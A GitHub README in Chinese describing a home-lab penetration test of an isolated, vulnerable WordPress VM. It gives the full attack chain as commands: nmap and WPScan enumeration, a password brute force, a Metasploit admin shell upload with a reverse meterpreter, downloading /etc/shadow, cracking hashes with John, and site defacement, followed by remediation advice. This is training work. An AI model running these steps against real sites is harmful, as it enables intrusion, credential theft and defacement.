vedantika07/wordpress-defacement-lab

GitHub: vedantika07/wordpress-defacement-lab

一个 WordPress 渗透测试家庭实验室项目,完整演示了从侦察到网站篡改的真实攻击链并附带修复建议。

Stars: 0 | Forks: 0

# WordPress 网站篡改 — 家庭实验室渗透测试 ## 🎯 目标 针对存在漏洞的 WordPress 部署模拟真实的攻击链 —— 从网络发现到漏洞利用、权限提升、凭证获取以及最终的网站篡改 —— 从而培养实战化的进攻性安全技能,并理解这些漏洞在现实世界中的影响。 ## 🧪 实验环境 | 组件 | 详情 | |---|---| | 攻击机 | Kali Linux 2026.2 (VirtualBox) | | 目标机 | Ubuntu 18.04, Apache 2.4.18, WordPress (托管于 `/secret/`) | | 目标 IP | `10.0.2.8` | | 网络 | VirtualBox 仅主机网络 (隔离) | ## 🛠️ 使用的工具 - **ARP 扫描** (主机发现) - **Nmap** — 端口与服务枚举 - **Dirb** — 目录暴力破解 - **WPScan** — WordPress 漏洞与用户枚举,凭证暴力破解 - **Metasploit Framework** — 漏洞利用 (`exploit/unix/webapp/wp_admin_shell_upload`) - **Meterpreter** — 后期利用,文件窃取 - **John the Ripper** — 离线密码破解 - 通过 `nano` 手动进行 shell 访问以实施篡改 ## 📋 方法论与攻击链 ### 1. 主机发现 在实验室子网 (`192.168.0.0/16`) 中执行 ARP 扫描以识别存活主机,在 `10.0.2.8` 处发现了目标。 📷 `screenshots/01-network-discovery.png` ### 2. 端口与服务扫描 对目标执行了激进模式的 Nmap 扫描: ``` sudo nmap -sV -sC -Pn 10.0.2.8 -vv ``` 发现了三个开放端口: - `21/tcp` — FTP (ProFTPD 1.3.3c) - `22/tcp` — SSH (OpenSSH 7.2p2, Ubuntu) - `80/tcp` — HTTP (Apache 2.4.18, Ubuntu) 📷 `screenshots/02-nmap-scan.png` ### 3. Web 目录枚举 对 Web 根目录使用 Dirb 来映射隐藏目录: ``` dirb http://10.0.2.8 ``` 发现了一个非显眼的 `/secret/` 目录,其中托管了完整的 WordPress 安装程序 (`wp-admin`, `wp-content`, `wp-includes`, `xmlrpc.php`)。 📷 `screenshots/03-dirb-enum.png` ### 4. WordPress 枚举 对发现的 WordPress 实例运行了 WPScan: ``` wpscan --url http://vtcsec/secret/ --enumerate u ``` 确认了 WordPress 版本、服务器标头、暴露的 `readme.html`,并且 XML-RPC 已启用 —— 这是暴力破解和 pingback 滥用的常见攻击媒介。 📷 `screenshots/04-wpscan-enum.png` ### 5. 凭证暴力破解 使用 WPScan 的密码攻击模块和自定义字典,针对已知的 `admin` 用户名进行攻击: ``` sudo wpscan --url http://vtcsec/secret --usernames admin --passwords passwordslist.txt ``` 成功恢复了有效的 WordPress 管理员凭证。 📷 `screenshots/05-wpscan-bruteforce.png` ### 6. 漏洞利用 掌握了有效的 WordPress 管理员凭证后,使用 Metasploit 的 WordPress 管理员 shell 上传模块来获取远程代码执行权限: ``` msfconsole search wp_admin use exploit/unix/webapp/wp_admin_shell_upload set payload php/meterpreter/reverse_tcp run ``` 该操作通过 WordPress 管理面板上传了恶意插件/主题文件,并触发了一个反弹的 Meterpreter shell。 📷 `screenshots/06-metasploit-exploit.png` ### 7. Shell 访问与权限提升 以低权限用户 `marlinspike` 获取了 shell。通过 `sudo su`(该账户配置了 sudo 权限)提升至 root,然后导航至 Web 根目录并手动编辑了 `index.html`: ``` sudo su cd /var/www/secret nano index.html ``` 📷 `screenshots/07-shell-and-privesc.png` ### 8. 后期利用 — 凭证获取 从 Meterpreter 会话中,下载了目标的密码数据库以进行离线分析: ``` meterpreter > download /etc/shadow /home/kali/shadow meterpreter > download /etc/passwd /home/kali/passwd ``` 📷 `screenshots/08-meterpreter-download.png` 📷 `screenshots/09-loot-files.png` ### 9. 离线密码破解 将窃取的 `passwd` 和 `shadow` 文件合并,并使用 John the Ripper 破解了哈希: ``` john combined.txt ``` 不到一分钟便恢复了用户 `marlinspike` 的明文密码(SHA-512 crypt,加盐哈希)—— 这证明了即使在加了哈希的情况下,弱密码/重复使用密码依然面临风险。 📷 `screenshots/10-john-the-ripper-crack.png` ### 10. 网站篡改 (影响演示) 将目标的 `index.html` 替换为自定义的“被黑”页面(参见 [`hacked.html`](hacked.html)),以直观地演示入侵在现实世界中的影响。 📷 `screenshots/11-defacement-html-edit.png` 📷 `screenshots/12-defaced-page-live.png` — 篡改后的页面在浏览器中实时渲染于 `http://10.0.2.8` ## 🛡️ 修复建议 - **补丁管理:** 更新 WordPress 核心、插件和主题;目标过时的技术栈是初步立足点 - **隐藏/限制管理面板:** 在没有额外访问控制的情况下,不要在可预测或“秘密”路径上暴露 `/wp-admin/` - **禁用 XML-RPC**,除非明确需要 —— 它是常见的暴力破解和 DDoS 攻击媒介 - **强制使用强且唯一的密码**,并在登录尝试时启用账户锁定/速率限制(暴力破解之所以成功,是因为使用了弱密码) - **限制 sudo 权限** — 被攻破的低权限用户本不应拥有不受限制的 `sudo su` 访问权限 - **保护 `/etc/shadow` 和 `/etc/passwd`** 的权限;监控未经授权的文件读取 - **文件完整性监控**(如 AIDE, Tripwire),以检测对 Web 根目录文件的未经授权的更改 - **Web 应用防火墙 (WAF)**,以捕获恶意文件上传和已知的漏洞利用模式 ## 📚 经验教训 - 实践了完整、真实的攻击链:侦察 -> 枚举 -> 漏洞利用 -> 权限提升 -> 凭证获取 -> 影响 - 了解了目录暴力破解如何揭示隐藏的攻击面(`/secret/` WordPress 安装) - 深刻认识到,一旦与存在漏洞的 Web 应用相结合,单个弱密码如何级联演变为全系统沦陷 - 亲自动手实践了 Metasploit/Meterpreter 后期利用工作流以及使用 John the Ripper 进行离线哈希破解 ## 📁 仓库内容 - `README.md` — 本份报告 - `hacked.html` — 部署到目标的自定义篡改页面 - `screenshots/` — 在攻击链各个阶段捕获的证据,按时间顺序编号 *我独立练习并完成了这个实验室,遵循了 Tutedude 网络安全专家提供的培训和指导。 *完全在隔离的家庭实验室中进行,用于个人技能发展。不代表、认可或促进对任何现实世界系统的未经授权的访问。*
标签:CTI, Facebook API, Web安全, WordPress, 后端开发, 安全实验靶场, 密码管理, 插件系统, 教育, 数据展示, 文件完整性监控, 红队, 蓝队分析